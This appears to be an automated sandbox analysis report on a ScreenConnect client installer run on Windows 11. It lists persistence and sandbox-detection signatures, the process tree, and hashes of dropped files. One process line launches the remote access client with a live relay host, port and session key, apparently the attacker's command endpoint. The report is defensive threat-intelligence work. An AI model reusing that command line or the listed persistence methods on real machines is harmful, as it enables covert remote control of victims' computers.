Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/10/2026, 12:18

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 9.5MB
  • Sample261018-pgvbcscs9j
  • SHA256 1f01ff480f1e0efd0361c7647b1d8de8b8a0b086a4864fe7d65f1ab8f1997c31
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2264
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6F943E89F766DB872E8C35CE353E0452 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3636
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI990A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240753156 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4172
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5224
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D45117BE9ABED2938F01F25B97AA01A1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3252
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7C5359D339ECFB54E247D16AAC2022BA E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2900
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3264
    • C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=107.174.19.11&p=8041&s=d9b111db-b0b5-4af3-913e-606bdc6cfd05&k=BgIAAACkAABSU0ExAAgAAAEAAQCFYj4wnNTdajaAEkoKFSYVhDj5VBBIaApnq8r%2fp%2bqCM33pVP3j5Oe8OehszpaOW%2bgn7eiQZRMER5r6zCduFCDltt8YhpPeVPFb75kHXqERm6Q%2bK2UAoF98Eb0oNCxeLS%2bDoE7tiYoGfROWgrhL0Eu5ofG%2bf2dK7NoRlB1qaEgTRJGr3IFKzH3Cm%2fOy5JCZucD6phXQiOHfTog0zboyZSCIbya%2bzduRq%2fJQaDvelYLUAccOCeerG6a%2f%2bu%2byzKcQx%2f84y%2f1%2brGr9izbRy65eL8YrLyy2PuR1FJ3mWnl5xjDvwxlHp%2fKBBJ1lKQxGYXuQNkPAHvWyFGkvPByi7CIzVP7D"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsClient.exe" "RunRole" "b4ca9f2f-6e47-4126-9f52-eedd142726d1" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5152
      • C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsClient.exe" "RunRole" "894e6244-1664-4554-96d1-af83c6f83b9c" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5172

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59e5e3.rbs

          • Path C:\Config.Msi\e59e5e3.rbs
          • Size 214KB
          • SHA256 3834a1e714ff9111f5c2344b843c93d4c6cef856f33e1d1e93f4a07570d69565
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (c031ef0d48b744f2)\system.config
          • Size 951B
          • SHA256 e300075ada5514fce727f311bbb3c6fc1b9fbdd1b8feb290bbece6afa026d029
          • MD5 SHA1 SHA512 TLSH

          MSI990A.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI990A.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI990A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI990A.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI990A.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI990A.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIEC99.tmp

          • Path C:\Windows\Installer\MSIEC99.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59e5e4.msi

          • Path C:\Windows\Installer\e59e5e4.msi
          • Size 9.5MB
          • SHA256 1f01ff480f1e0efd0361c7647b1d8de8b8a0b086a4864fe7d65f1ab8f1997c31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 788c6673bf2b3c4f92659ebe06219c1a2aee95807b2bdfa8da19749027ee16f9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {541fb7c2-515a-46b9-a86b-348bc664ca7c}_OnDiskSnapshotProp

          • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{541fb7c2-515a-46b9-a86b-348bc664ca7c}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 600f5e2f8dfe1171155b03e11019f488265e0b3cd4c529f3a805677d4465b814
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4092-95-0x00000000040B0000-0x0000000004100000-memory.dmp

          memory/4092-99-0x0000000004100000-0x0000000004136000-memory.dmp

          memory/4092-100-0x00000000043B0000-0x0000000004442000-memory.dmp

          memory/4092-104-0x00000000045A0000-0x0000000004675000-memory.dmp

          memory/4092-73-0x0000000003E50000-0x0000000003E68000-memory.dmp

          memory/4092-102-0x0000000004310000-0x0000000004351000-memory.dmp

          memory/4172-22-0x0000000003C10000-0x0000000003C1A000-memory.dmp

          memory/4172-31-0x0000000006760000-0x0000000006D1A000-memory.dmp

          memory/4172-30-0x0000000005FF0000-0x000000000619C000-memory.dmp

          memory/4172-26-0x0000000005DB0000-0x0000000005E3C000-memory.dmp

          memory/4172-18-0x0000000003BD0000-0x0000000003BFE000-memory.dmp

          memory/5152-113-0x00000000002B0000-0x0000000000348000-memory.dmp

          memory/5152-116-0x000000001B4A0000-0x000000001B64C000-memory.dmp

          memory/5152-117-0x000000001B7E0000-0x000000001B968000-memory.dmp

          memory/5152-118-0x0000000002480000-0x0000000002498000-memory.dmp

          memory/5152-119-0x000000001B1F0000-0x000000001B208000-memory.dmp

          memory/5152-115-0x000000001B260000-0x000000001B2EC000-memory.dmp

          memory/5152-114-0x00000000024A0000-0x00000000024D6000-memory.dmp